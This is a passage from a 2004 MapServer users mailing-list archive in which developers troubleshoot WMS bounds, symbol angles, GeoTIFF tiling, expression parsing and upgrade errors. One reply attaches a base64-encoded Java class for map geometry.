>>> Joukje de Haan <joukje.de.haan at aris.nl> 1/7/2004 4:26:02 AM >>>
Hello, 

I have some trouble with mapserver 4.0. The application worked fine
with
Mapserver 3.6.  With 4.0 the map shows OK, but when i try to do a
query
on the map I get this error:
mapserv(): Web application error. Query mode needs a point, imgxy and
mapxy are not set. 
In the html-file, imgxy was set, mapxy was not. 
Does anyone know what has changed in Mapserver 4.0 that causes this
problem? Simply setting the mapxy variable in the HTML-page does not
work...

Thanks!
Joukje
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From jgorkos at lenexa.sema.slb.com  Wed Jan  7 10:20:20 2004
From: jgorkos at lenexa.sema.slb.com (John Gorkos)
Date: Wed, 07 Jan 2004 12:20:20 -0600
Subject: [Mapserver-users] WMS BBOX vs. Actual Bounds
Message-ID: <200401071220.20239.jgorkos@lenexa.sema.slb.com>

Howdy-
  My programming team is up against a hard deadline, and we're stymied.
Basic project is this:  use a WMS mapserver to feed a java applet a base map, 
and then connect (via TCP) to a real-time management system that feeds us 
status of devices across the planet, coded by lat/long and a status code.  
These then get overlayed on top of the base map on a "glass pane" that can be 
changed without redrawing the base.  The result is little winkin', blinkin' 
lights on top of a map that show (in our case) whether or not electricity is 
on in various places across the US.
  The problem is that when we send a BBOX request to the mapserver from the 
java applet, we don't get back a map with the exact coordinates we asked for.  
That's OK, I realize that mapserver gets as close as it can given the image 
size, but I've GOT to know what the real boundaries are so I can overlay my 
status dots on top.  How do I get this information back from the mapserver?
  On a related thread, how does the mapserver decide what the real boundaries 
are, when given when the bounds requested don't match the aspect ratio of the 
returned image?
-- 
John Gorkos
SchlumbergerSema/Atos-Origin


From TMitchell at lignum.com  Wed Jan  7 10:38:10 2004
From: TMitchell at lignum.com (Tyler Mitchell)
Date: Wed, 7 Jan 2004 10:38:10 -0800
Subject: [Mapserver-users] MapServer 4.01 - unreadable error messages
In-Reply-To: <NHEDJNHNEDNHBIJKFBOFKEENCDAA.christina.biakowski@ccgis.de>
Message-ID: <OFB0BC1F39.0EF7E64F-ON88256E14.0066330E-88256E14.00665EE5@lignum.com>







mapserver-users-admin at lists.gis.umn.edu wrote on 01/07/2004 04:33:54 AM:

> Dear list,
>
> we have upgraded (OS: FreeBSD) from MapServer 3.66 to 4.01. Running into
an
> error with the getfeatureInfo-request MapServer 4.01 returns the error
> message in binary code using "content-type image/png", like:
>
> Content-type: image/png ?PNG 
> IHDR????RlPLTE???U??~tIDATx??]p?y??????@??????xO9?K5????N?o?.>
> ???:?Y?9?? f??L?N35??8?? ?I?C??b? ?...
>
> With MapServer 3.66 we get "readable" error messages (Content-type:
> text/html).

Christina, is it possible for you to show us what the URL request was?  It
may also be helpful to post your .map file.  I'm wondering if it is
returning something like the mapserv executable.  Strange...  Are you using
php?




From pkishor at geoanalytics.com  Wed Jan  7 10:59:10 2004
From: pkishor at geoanalytics.com (pkishor_98)
Date: Wed, 07 Jan 2004 18:59:10 -0000
Subject: [Mapserver-users] Re: OT: Macs for development...
In-Reply-To: <sffae298.027@co5.dnr.state.mn.us>
Message-ID: <bthktu+5gql@eGroups.com>

--- In mapserver-users at yahoogroups.com, "Steve Lime" <steve.lime at d...>
wrote:
> Hi Folks: Anyone out there using macs as a development box? I'm looking
> to replace my current machine and drawn to the PowerBooks. I know that
> with the underlying UNIX guts you should be able to build MapServer, but
> I'm wondering if other folks are routinely using os x with cvs, gdb, gcc
> and other developer tools. Thanks for any opinions...
> 
> Steve


dareisay... welcome to the bright side.

oh. and I also have an old(er) powerbook for sale ;-)

More to the topic. Sean and Zak have said it all. Mapserver works
brilliantly esp. with Perl. PHP dynamic linking used to give me some
headaches, and then I just decided to mostly not mess with PHP. 

Puneet.



From pxniw69 at yahoo.com  Wed Jan  7 11:01:47 2004
From: pxniw69 at yahoo.com (pxniw pxniw)
Date: Wed, 7 Jan 2004 11:01:47 -0800 (PST)
Subject: R: R: [Mapserver-users] Mapinfo symbols
In-Reply-To: <4B1A1EC0790F054193453C48725D43180B8CD7@MSGBE1V1.seat.it>
Message-ID: <20040107190147.64449.qmail@web41906.mail.yahoo.com>

You could use condition statement. found here
http://www.maptools.org/chameleon/wiki/MapImageSharedResource

Create a condition and an image for all the angles you
need. (I would not do 360 conditions, but maybe 12 or
so, would get you started.)

Just a suggestion ;)
Not sure if I understood the question.

Px
--- Ballini Yvain <Ballini.Yvain at seat.it> wrote:
> Hi Julien and Daniel,
> 
> Thank you for your suggestion and your help.
> We also are tryning to see in the source which
> enhancement could enable to manage the angles with
> truetype symbols.
> Keep in touch if someone has some suggestion.
> Best regards,
> Yvain. 
> 
> -----Messaggio originale-----
> Da: Julien-Samuel Lacroix
> [mailto:lacroix at dmsolutions.ca] 
> Inviato: luned? 5 gennaio 2004 22.10
> A: Ballini Yvain
> Cc: Daniel Morissette;
> mapserver-users at lists.gis.umn.edu
> Oggetto: Re: R: [Mapserver-users] Mapinfo symbols
> 
> Hi Yvain,
> 
> While checking your problem I noticed why angle is
> ignored with the STYLEITEM "AUTO" in your layer.
> It's because the angle is not supported for symbols.
> It's only supported for labels. So your arrows can't
> have the good angle. I opened two bugs for this 532
> and 533
>
http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=532
>
http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=533
> 
> But I don't know when it will be fixed.
> 
> A work around could be to use a font with symbol in
> it and put labels in your map that will be arrows.
> Then the angle will be used correctly.
> But there's certainly a better way to acheive what
> you want. Anybody on the list has a suggestion?
> 
> Best regards,
> Julien
> 
> 
> Ballini Yvain wrote:
> >  Hi Daniel,
> > 
> > I'm turning to the topic of the orientation of
> point symbol, do you know where I can find on the
> mapserver source the part which manages the symbols
> tuned by OGR. I would like to try to do some update
> on my mapsrver version to solve this problem.
> > Thanks a lot.
> > Yvain.
> > 
> > -----Messaggio originale-----
> > Da: Daniel Morissette
> [mailto:morissette at dmsolutions.ca]
> > Inviato: gioved? 18 dicembre 2003 0.43
> > A: Ballini Yvain
> > Cc: mapserver-users at lists.gis.umn.edu
> > Oggetto: Re: [Mapserver-users] Mapinfo symbols
> > 
> > Yvain,
> > 
> > Um, I checked the code and it seems that we ignore
> the angle value coming from STYLEITEM AUTO for point
> symbols. Could please you submit a bug with a small
> mapfile and arrow.tab to reproduce this? I'm not
> sure when we would have time to work on this, but
> with a testcase to reproduce it's always easier for
> us.
> > 
> > Thanks
> > 
> > Daniel
> > 
> > 
> > Ballini Yvain wrote:
> > 
> >>Hi list,
> >>
> >>I would like to read the arrows of a .tab file in
> mapserver: the pb is 
> >>that I can read the position but not the
> orientation of the arrow 
> >>which is contained in the "Style" line of the .tab
> (see under).
> >>when I try to read my file arrow.tab with ogrinfo
> it turns me these 
> >>properties for the arrow layer:
> >>
> >>Layer name: arrow
> >>Geometry: Point
> >>Feature Count: 267349
> >>Extent: (6.682870, 36.681040) - (18.495850,
> 46.895265) Layer SRS WKT:
> >>GEOGCS["unnamed",
> >>    DATUM["WGS_1984",
> >>        SPHEROID["WGS 84",6378137,298.257223563],
> >>        TOWGS84[0,0,0,0,0,0,0]],
> >>    PRIMEM["Greenwich",0],
> >>    UNIT["degree",0.0174532925199433]]
> >>LABEL: String (70.0)
> >>OGRFeature(arrow):1
> >>  LABEL (String) =
> >>  Style = 
>
>>SYMBOL(a:322,c:#4144ae,s:13pt,id:"mapinfo-sym-111.ogr-sym-1")
> >>  POINT (8.85458500 45.96559000)
> >>
> >>OGRFeature(arrow):2
> >>  LABEL (String) =
> >>  Style = 
>
>>SYMBOL(a:322,c:#4144ae,s:13pt,id:"mapinfo-sym-111.ogr-sym-1")
> >>  POINT (8.85458500 45.96559000)
> >>........
> >>
> >>I define my arrow layer like that:
> >>LAYER
> >>  NAME freccie_navtech
> >>  PROJECTION
> >>  "proj=longlat"
> >>  "ellps=intl"
> >>  "no_defs"
> >>  END
> >>  STATUS OFF
> >>  DATA
> arrow#chiave_in_piazzale_segesta#arrow#vie3_polyline
> >>  CONNECTIONTYPE OGR
> >>  CONNECTION
>
>>"c:\mapserver\itasca\data\arrow.tab"#chiave_in_piazzale_segesta.tab"#a
> >>rr
> >>ow.tab"
> >>  STYLEITEM "AUTO"
> >>  TYPE point
> >>   CLASS
> >>    #STYLE
> >>    #  SYMBOL arrow
> >>    #  size 20
> >>      COLOR 88 88 245
> >>      #ANTIALIAS TRUE
> >>    #END
> >>  END
> >>END
> >>
> >>I think I can't recognize the id mapinfo-sym-111
> which represents the 
> >>arrow...but the position of the default point
> symbol is right on the 
> >>map.
> >>Does someone know something about this problem or
> if there is a 
> >>setting in the mapfile which could solve my
> problem?
> >>Thanks a lot.
> >>Yvain.  
> >>
> >>
> > 
> > 
> > 
> > 
> > 
> > 
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> >
>
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> > 
> 
> --
>
------------------------------------------------------------
> Julien-Samuel Lacroix           
> lacroix at dmsolutions.ca
> DM Solutions Group              
> http://www.dmsolutions.ca/
>
------------------------------------------------------------
> 
> 
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
>
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


__________________________________
Do you Yahoo!?
Yahoo! Hotjobs: Enter the "Signing Bonus" Sweepstakes
http://hotjobs.sweepstakes.yahoo.com/signingbonus


From assefa at dmsolutions.ca  Wed Jan  7 11:49:51 2004
From: assefa at dmsolutions.ca (Yewondwossen Assefa)
Date: Wed, 07 Jan 2004 14:49:51 -0500
Subject: [Mapserver-users] WFS support
In-Reply-To: <Pine.GSO.4.58.0401061609520.14426@gradlab.ucsd.edu>
References: <2576812186CDD411BF1500508B6DCE9505D493FA@ECNWRI1.ontario.int.ec.gc.ca> <3FFAD751.5040209@dmsolutions.ca> <Pine.GSO.4.58.0401061512500.6297@gradlab.ucsd.edu> <3FFB4553.3020808@dmsolutions.ca> <Pine.GSO.4.58.0401061609520.14426@gradlab.ucsd.edu>
Message-ID: <3FFC62DF.7050409@dmsolutions.ca>

Hi There,

  I have update the maptools.org site with mapserver4.1-dev (which is 
the current cvs version for mapserver) :

http://www.maptools.org/php_mapscript/index.phtml?page=downloads.html

Later,

> Hi,
> 
> w.r.t the question below
> 
> Am sorry for asking a wrong question. I didnot mean 4.0.1 but version 4.1
> (the nightly build).
> 
> I have downloaded and compiled the nightly build for 4.1. However I would need to
> get it working on a Windows machine as well. So again, repeating the
> question. For the 4.1 build, is there a way I could compile it for Windows
> (is there documentation regarding the same).
> If I cannot do that, when might the 4.1 binary for Windows be released ?
> 



-- 
----------------------------------------------------------------
Assefa Yewondwossen
Software Analyst

Email: assefa at dmsolutions.ca
http://www.dmsolutions.ca/

Phone: (613) 565-5056 (ext 14)
Fax:   (613) 565-0925
----------------------------------------------------------------





From steve.lime at dnr.state.mn.us  Wed Jan  7 12:42:32 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Wed, 07 Jan 2004 14:42:32 -0600
Subject: [Mapserver-users] WMS BBOX vs. Actual Bounds
Message-ID: <sffc1af3.066@co5.dnr.state.mn.us>

This is a MIME message. If you are reading this text, you may want to 
consider changing to a mail reader or gateway that understands how to 
properly handle MIME multipart messages.

--=__PartECB22228.1__=
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

There's no way with pure WMS (that I know of) to get the computed bounds
back other than by precomputing them to perfectly fit your requested
image size. I've done that with a java digitizing client that took WMS
images from MapServer and overlayed information from a seperate SDE/Java
application. Worked fine. I've attached the simple map geometry class I
used in that case, look at the fit method.

Regarding bounds computation. MapServer gaurantees that the requested
extent will fit in the image, so one of the dimensions will remain fixed
while the other is expanded as necessary. The decision as to which to
expand is based on how the extent is oriented (think portrait vs
landscape) relative to the "shape" of the image. The idea is to minimize
stuff outside the extent.

Steve

Stephen Lime
Data & Applications Manager

Minnesota DNR
500 Lafayette Road
St. Paul, MN 55155
651-297-2937

>>> John Gorkos <jgorkos at lenexa.sema.slb.com> 1/7/2004 12:20:20 PM >>>
Howdy-
  My programming team is up against a hard deadline, and we're
stymied.
Basic project is this:  use a WMS mapserver to feed a java applet a
base map, 
and then connect (via TCP) to a real-time management system that feeds
us 
status of devices across the planet, coded by lat/long and a status
code.  
These then get overlayed on top of the base map on a "glass pane" that
can be 
changed without redrawing the base.  The result is little winkin',
blinkin' 
lights on top of a map that show (in our case) whether or not
electricity is 
on in various places across the US.
  The problem is that when we send a BBOX request to the mapserver from
the 
java applet, we don't get back a map with the exact coordinates we
asked for.  
That's OK, I realize that mapserver gets as close as it can given the
image 
size, but I've GOT to know what the real boundaries are so I can
overlay my 
status dots on top.  How do I get this information back from the
mapserver?
  On a related thread, how does the mapserver decide what the real
boundaries 
are, when given when the bounds requested don't match the aspect ratio
of the 
returned image?
-- 
John Gorkos
SchlumbergerSema/Atos-Origin
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

--=__PartECB22228.1__=
Content-Type: application/octet-stream; name="MapGeometry.java"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="MapGeometry.java"

aW1wb3J0IGphdmEuYXd0LkRpbWVuc2lvbjsKCnB1YmxpYyBjbGFzcyBNYXBHZW9tZXRyeSB7CiAg
ZG91YmxlIG1pbngsIG1pbnksIG1heHgsIG1heHk7CiAgZG91YmxlIGNlbGxzaXplOwogIERpbWVu
c2lvbiBzaXplOwoKICBwdWJsaWMgTWFwR2VvbWV0cnkoZG91YmxlIHgxLCBkb3VibGUgeTEsIGRv
dWJsZSB4MiwgZG91YmxlIHkyLCBEaW1lbnNpb24gc2l6ZSkgewogICAgdGhpcy5zaXplID0gc2l6
ZTsKCiAgICB0aGlzLm1pbnggPSBNYXRoLm1pbih4MSwgeDIpOwogICAgdGhpcy5taW55ID0gTWF0
aC5taW4oeTEsIHkyKTsKICAgIHRoaXMubWF4eCA9IE1hdGgubWF4KHgxLCB4Mik7CiAgICB0aGlz
Lm1heHkgPSBNYXRoLm1heCh5MSwgeTIpOwoKICAgIHRoaXMuZml0KCk7CiAgfQoKICBwdWJsaWMg
dm9pZCBwb2ludFpvb20oZG91YmxlIHgsIGRvdWJsZSB5LCBkb3VibGUgem9vbSkgewogICAgZG91
YmxlIGR4LCBkeTsKICAgIGRvdWJsZSBteCwgbXk7CgogICAgZHggPSB0aGlzLm1heHggLSB0aGlz
Lm1pbng7CiAgICBkeSA9IHRoaXMubWF4eSAtIHRoaXMubWlueTsKICAgIG14ID0gdGhpcy5taW54
ICsgdGhpcy5jZWxsc2l6ZSp4OyAvLyBjb252ZXJ0ICpjbGljayogdG8gbWFwIGNvb3JkaW5hdGVz
CiAgICBteSA9IHRoaXMubWF4eSAtIHRoaXMuY2VsbHNpemUqeTsKCiAgICB0aGlzLm1pbnggPSBt
eCAtIC41KihkeC96b29tKTsKICAgIHRoaXMubWlueSA9IG15IC0gLjUqKGR5L3pvb20pOwogICAg
dGhpcy5tYXh4ID0gbXggKyAuNSooZHgvem9vbSk7CiAgICB0aGlzLm1heHkgPSBteSArIC41Kihk
eS96b29tKTsgCgogICAgdGhpcy5maXQoKTsKICB9CgogIHB1YmxpYyB2b2lkIHBvaW50Wm9vbShk
b3VibGUgeCwgZG91YmxlIHksIGRvdWJsZSB6b29tc2l6ZSwgaW50IHpvb21kaXIpIHsKICAgIGRv
dWJsZSBkeCwgZHk7CiAgICBkb3VibGUgbXgsIG15OwoKICAgIGRvdWJsZSB6b29tOwoKICAgIGlm
KHpvb21kaXIgPT0gMSAmJiB6b29tc2l6ZSAhPSAwKQogICAgICB6b29tID0gem9vbXNpemU7CiAg
ICBlbHNlIGlmKHpvb21kaXIgPT0gLTEgJiYgem9vbXNpemUgIT0gMCkKICAgICAgem9vbSA9IDEv
em9vbXNpemU7CiAgICBlbHNlCiAgICAgIHpvb20gPSAxLjA7CgogICAgZHggPSB0aGlzLm1heHgg
LSB0aGlzLm1pbng7CiAgICBkeSA9IHRoaXMubWF4eSAtIHRoaXMubWlueTsKICAgIG14ID0gdGhp
cy5taW54ICsgdGhpcy5jZWxsc2l6ZSp4OyAvLyBjb252ZXJ0ICpjbGljayogdG8gbWFwIGNvb3Jk
aW5hdGVzCiAgICBteSA9IHRoaXMubWF4eSAtIHRoaXMuY2VsbHNpemUqeTsKCiAgICB0aGlzLm1p
bnggPSBteCAtIC41KihkeC96b29tKTsKICAgIHRoaXMubWlueSA9IG15IC0gLjUqKGR5L3pvb20p
OwogICAgdGhpcy5tYXh4ID0gbXggKyAuNSooZHgvem9vbSk7CiAgICB0aGlzLm1heHkgPSBteSAr
IC41KihkeS96b29tKTsgCgogICAgdGhpcy5maXQoKTsKICB9CgogIHB1YmxpYyB2b2lkIGJveFpv
b20oZG91YmxlIHgxLCBkb3VibGUgeTEsIGRvdWJsZSB4MiwgZG91YmxlIHkyKSB7CiAgICBkb3Vi
bGUgbWlueCwgbWlueSwgbWF4eCwgbWF4eTsKCiAgICBtaW54ID0gdGhpcy5taW54ICsgdGhpcy5j
ZWxsc2l6ZSpNYXRoLm1pbih4MSwgeDIpOwogICAgbWlueSA9IHRoaXMubWF4eSAtIHRoaXMuY2Vs
bHNpemUqTWF0aC5tYXgoeTEsIHkyKTsKICAgIG1heHggPSB0aGlzLm1pbnggKyB0aGlzLmNlbGxz
aXplKk1hdGgubWF4KHgxLCB4Mik7CiAgICBtYXh5ID0gdGhpcy5tYXh5IC0gdGhpcy5jZWxsc2l6
ZSpNYXRoLm1pbih5MSwgeTIpOwoKICAgIHRoaXMubWlueCA9IG1pbng7CiAgICB0aGlzLm1pbnkg
PSBtaW55OwogICAgdGhpcy5tYXh4ID0gbWF4eDsKICAgIHRoaXMubWF4eSA9IG1heHk7ICAgIAoK
ICAgIHRoaXMuZml0KCk7CiAgfQoKICAvLyBjaGFuZ2VzIHRoZSBzaXplIG9mIHRoZSBtYXAgd2lu
ZG93ICh3aGljaCAqbWF5KiBjaGFuZ2UgdGhlIGV4dGVudCkKICBwdWJsaWMgdm9pZCByZXNpemUo
RGltZW5zaW9uIHNpemUpIHsKICAgIHRoaXMuc2l6ZSA9IHNpemU7CiAgICB0aGlzLmZpdCgpOwog
IH0KCiAgLy8gYWRqdXN0cyBhIG1hcCBleHRlbnQgdG8gZml0IGEgZ2l2ZW4gbWFwIHNpemUKICBw
dWJsaWMgdm9pZCBmaXQoKSB7CiAgICB0aGlzLmNlbGxzaXplID0gTWF0aC5tYXgoKHRoaXMubWF4
eCAtIHRoaXMubWlueCkvKHRoaXMuc2l6ZS53aWR0aC0xKSwgKHRoaXMubWF4eSAtIHRoaXMubWlu
eSkvKHRoaXMuc2l6ZS5oZWlnaHQtMSkpOwoKICAgIGlmKHRoaXMuY2VsbHNpemUgPiAwKSB7CiAg
ICAgIGRvdWJsZSBveCwgb3k7CgogICAgICBveCA9IE1hdGgubWF4KCgodGhpcy5zaXplLndpZHRo
LTEpIC0gKHRoaXMubWF4eCAtIHRoaXMubWlueCkvdGhpcy5jZWxsc2l6ZSkvMiwwKTsKICAgICAg
b3kgPSBNYXRoLm1heCgoKHRoaXMuc2l6ZS5oZWlnaHQtMSkgLSAodGhpcy5tYXh5IC0gdGhpcy5t
aW55KS90aGlzLmNlbGxzaXplKS8yLDApOwoKICAgICAgdGhpcy5taW54ID0gdGhpcy5taW54IC0g
b3gqdGhpcy5jZWxsc2l6ZTsKICAgICAgdGhpcy5taW55ID0gdGhpcy5taW55IC0gb3kqdGhpcy5j
ZWxsc2l6ZTsKICAgICAgdGhpcy5tYXh4ID0gdGhpcy5tYXh4ICsgb3gqdGhpcy5jZWxsc2l6ZTsK
ICAgICAgdGhpcy5tYXh5ID0gdGhpcy5tYXh5ICsgb3kqdGhpcy5jZWxsc2l6ZTsKICAgIH0KICB9
CgogIC8vIG1ldGhvZHMgdG8gY29udmVydCBwaXhlbCBjb29yZGluYXRlcyB0byBtYXAgY29vcmRp
bmF0ZXMKICBwdWJsaWMgamF2YS5hd3QuZ2VvbS5Qb2ludDJELkRvdWJsZSBwaXhlbFRvTWFwKGlu
dCB4LCBpbnQgeSkgewogICAgamF2YS5hd3QuZ2VvbS5Qb2ludDJELkRvdWJsZSBwb2ludCA9IG5l
dyBqYXZhLmF3dC5nZW9tLlBvaW50MkQuRG91YmxlKCk7CgogICAgcG9pbnQueCA9IHRoaXMubWlu
eCArIHRoaXMuY2VsbHNpemUqeDsKICAgIHBvaW50LnkgPSB0aGlzLm1heHkgLSB0aGlzLmNlbGxz
aXplKnk7CgogICAgcmV0dXJuKHBvaW50KTsKICB9CgogIHB1YmxpYyBkb3VibGUgcGl4ZWxUb01h
cFgoaW50IHgpIHsKICAgIHJldHVybih0aGlzLm1pbnggKyB0aGlzLmNlbGxzaXplKngpOwogIH0K
CiAgcHVibGljIGRvdWJsZSBwaXhlbFRvTWFwWShpbnQgeSkgewogICAgcmV0dXJuKHRoaXMubWF4
eSAtIHRoaXMuY2VsbHNpemUqeSk7CiAgfQoKICAvLyAjZGVmaW5lIE1TX01BUDJJTUFHRV9YKHgs
bWlueCxjeCkgKE1TX05JTlQoKHggLSBtaW54KS9jeCkpCiAgLy8gI2RlZmluZSBNU19NQVAySU1B
R0VfWSh5LG1heHksY3kpIChNU19OSU5UKChtYXh5IC0geSkvY3kpKQoKICBwdWJsaWMgZG91Ymxl
IG1hcFRvUGl4ZWxYKGRvdWJsZSB4KSB7CiAgICByZXR1cm4oKHggLSB0aGlzLm1pbngpL3RoaXMu
Y2VsbHNpemUpOwogIH0KCiAgcHVibGljIGRvdWJsZSBtYXBUb1BpeGVsWShkb3VibGUgeSkgewog
ICAgcmV0dXJuKCh0aGlzLm1heHkgLSB5KS90aGlzLmNlbGxzaXplKTsKICB9CgogIHB1YmxpYyBT
dHJpbmcgYXNTdHJpbmcoKSB7CiAgICByZXR1cm4odGhpcy5taW54ICsgIiwiICsgdGhpcy5taW55
ICsgIiwiICsgdGhpcy5tYXh4ICsgIiwiICsgdGhpcy5tYXh5KTsKICB9Cn0K

--=__PartECB22228.1__=--


From spencer at dmsolutions.ca  Wed Jan  7 12:55:41 2004
From: spencer at dmsolutions.ca (Paul Spencer)
Date: Wed, 07 Jan 2004 15:55:41 -0500
Subject: Using virtual datasources ( was Re: [Mapserver-users] MySQL and Mapserver
 )
Message-ID: <3FFC724D.1020502@magma.ca>

All,

several people asked for more info on how to use MySQL in MapServer 
without spatial extensions.  Thanks to Frank Warmerdam, this is now 
possible using Virtual Data Files via OGR.  I have prepared a wiki page 
with as much detail as I have right now, you can find it at:

http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData

Zak will be adding more notes related to ODBC on Linux and some lessons 
we learned, later today or tomorrow.

Please be warned that this is not for the faint of heart, you need to be 
willing to work out problems with ODBC and your system among others. 
However, it does work and we have managed to get it going on Windows and 
Linux with MySQL and Oracle flat tables via OBDC with both MapServer 4.0 
and 4.1 by recompiling them against a recent CVS checkout of gdal.

Cheers,

Paul
-- 
  -----------------------------------------------------------------
|Paul Spencer                           spencer at dmsolutions.ca    |
|-----------------------------------------------------------------|
|Applications & Software Development                              |
|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
  -----------------------------------------------------------------



From racarr at fs.fed.us  Wed Jan  7 14:59:48 2004
From: racarr at fs.fed.us (Robert A Carr)
Date: Wed, 7 Jan 2004 16:59:48 -0600
Subject: [Mapserver-users] Tiled Tiffs - Error 4
Message-ID: <OFEBCCF291.F310F338-ON86256E14.007BC079@notes.fs.fed.us>




Having successfully implemented progressive zooming via minscale and
maxscale settings for seven levels of indexed tiffs of land cover data, I'm
unable to use tiling for  level 8.   Using the same scale settings, I'm
able to display the polygon tiles and a query of that layer shows the
correct path in the 'location' field.   An extract of the error log for the
session shows several entries similar to the following:

   [Wed Jan 07 15:40:22 2004] [error] [client 127.0.0.1] ERROR 4:
   `c:\maplab-2.0-release\projects\gmf_apps\region_9\data\images\nlcd_lo8\nlcd_lo8_659.tif'
 not recognized as a supported file format.

   [Wed Jan 07 15:40:22 2004] [error] [client 127.0.0.1]

   [Wed Jan 07 15:40:22 2004] [error] [client 127.0.0.1] Wed Jan 07
   15:40:22 2004 - msDrawRaster(): Unable to access file.
   (c:\maplab-2.0-release\projects\gmf_apps\region_9\data\images\nlcd_lo8\nlcd_lo8_659.tif)

Yet running gdalinfo against the same file  shows:

   Driver: GTiff/GeoTIFF
   Size is 1258, 1114
   Coordinate System is `'
   Origin = (-528973.000000,949977.042585)
   Pixel Size = (49.000000,-49.000000)
   Metadata:
     TIFFTAG_SOFTWARE=IrfanView (original was Arc/Info - I opened and saved
   in Irfan View to test)
     TIFFTAG_XRESOLUTION=0
     TIFFTAG_YRESOLUTION=0
     TIFFTAG_RESOLUTIONUNIT=2 (pixels/inch)
   Corner Coordinates:
   Upper Left  ( -528973.000,  949977.043)
   Lower Left  ( -528973.000,  895391.043)
   Upper Right ( -467331.000,  949977.043)
   Lower Right ( -467331.000,  895391.043)
   Center      ( -498152.000,  922684.043)
   Band 1 Block=1258x6 Type=Byte, ColorInterp=Palette
     Color Table (RGB with 256 entries)
       0: 254,254,254,255
       1: 0,0,0,255
       2: 29,29,29,255
       3: 29,29,29,255
       4: 29,29,29,255
        .
        .
        .
        255:29,29,29,255

The tiffs in level seven were created using the same aml procedure
(Arc/Info Grid v8.3) used for tiffs in the other levels, but unlike the
other levels, these will not display as tiles.

Other info:

   MapServer version 4.0.1 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP
   OUTPUT=PDF OUTPUT=SWF SUPPORTS
   =PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT
   SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLI
   ENT INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE

I've read similar problems described on the list, and have tried suggested
fixes, but without success.

---
Bob Carr
USDA Forest Service - Eastern Region
racarr at fs.fed.us           (414) 297-1057



From elrod at oaktownunderground.com  Wed Jan  7 14:21:33 2004
From: elrod at oaktownunderground.com (Leah Roderman)
Date: Wed,  7 Jan 2004 14:21:33 -0800 (PST)
Subject: [Mapserver-users] Expression parser error
Message-ID: <13653774.1073514092405.JavaMail.root@homer.codemagi.com>

I'm curious about a msyyparse() error that is clogging my mapserv.out log. Here's the offending layer lifted straight from my mapfile:


LAYER
  NAME "roads"
  DATA tgr06001lkA
  STATUS DEFAULT
  TYPE LINE
  CLASSITEM "ZIPL"
  CLASS
    EXPRESSION ([ZIPL] > 94600 AND [ZIPL] < 94700)
    COLOR 0 0 0
  END # class
END # layer


>From the browser, the layer displays and Mapserver doesn't seem to hang. I went digging around the archives and tried variations on the expression line above, with differing display results but was unable to eliminate the logfile error (except of course by removing the layer in question altogether).

displays correctly :([ZIPL] > 94600 AND [ZIPL] < 94700)
displays correctly: (([ZIPL] > 94600) AND ([ZIPL] < 94700))
displays nothing: ([ZIPL] > 94600) AND ([ZIPL] < 94700)
displays nothing: ('[ZIPL]' > '94600' AND '[ZIPL]' < '94700')
displays nothing: ('[ZIPL]' > '94600') AND ('[ZIPL]' < '94700')
displays nothing: (('[ZIPL]' > '94600') AND ('[ZIPL]' < '94700'))

Please let me know if you've encountered same and found a way to eliminate those irksome errors; thanks.

config details
- Mapserver 4.01 with- gd, zlib, png, proj, jpeg, postgis, gdal, ogr, pdf
- Linux RedHat 9.0
- Apache HTTP && Tomcat
- pgsql-7.3.2, postgis-0.8.0



From remi.baud at eivd.ch  Wed Jan  7 23:33:02 2004
From: remi.baud at eivd.ch (BAUD remi)
Date: Thu, 8 Jan 2004 08:33:02 +0100
Subject: [Mapserver-users] little confusion about mapserver an php tasks
Message-ID: <BC421DB273604442A4C65116FF2B3D0109F8DA@eint13>

Hi the list,
I've created with mapserver and php_mapscript a tool allowing users to create a new point in a shp, dbf database. They can also input some attributes.
 
I just wanted to know who technicaly manages records in .shp and .dbf files with the ogr library.  Is it mapserver or PHP ?
 
Could someone explain a little? 
 
thanks.



From palle at mail-online.dk  Thu Jan  8 00:39:46 2004
From: palle at mail-online.dk (Palle Due Larsen)
Date: Thu, 08 Jan 2004 09:39:46 +0100
Subject: [Mapserver-users] Server load statistics
Message-ID: <WorldClient-F200401080939.AA39464358@mail-online.dk>

Hi,

I'm trying to access the potential of mapserver in terms of maps
delivered per month. I am looking for references to sites that deliver
in excess of 3 million maps per month. Do any of you run a site or know
of a site like that using mapserver? I'm sure it possible, what I'm
looking for are some references/links.

Best regards

Palle Due Larsen
Carl Bro GIS&IT

F? en gratis emailkonto her: www.mail-online.dk 
-----------------------------------------------
Deltag i en lille konkurrence p? nettet, og
vind et gavekort p? 50.000 kroner...
KLIK HER: www.nyhedsbasen.dk/konkurrence




From christina.biakowski at ccgis.de  Thu Jan  8 00:55:25 2004
From: christina.biakowski at ccgis.de (Christina Biakowski)
Date: Thu, 8 Jan 2004 09:55:25 +0100
Subject: [Mapserver-users] MapServer 4.01 - unreadable error messages
In-Reply-To: <OFB0BC1F39.0EF7E64F-ON88256E14.0066330E-88256E14.00665EE5@lignum.com>
Message-ID: <NHEDJNHNEDNHBIJKFBOFMEFACDAA.christina.biakowski@ccgis.de>

We have solved the problem.
We had a closer look at our request-URL and the OGC-Specs and added the
parameter "EXCEPTIONS=application/vnd.ogc.se_xml" (we did not use it before
because the OGC-Spec says that it is used as default-value) and now our
request looks like this and we get "readable" error-messages:

http://192.168.2.90/cgi-bin/mapserv?map=/data/umn/germany_postgis1.map&WMTVE
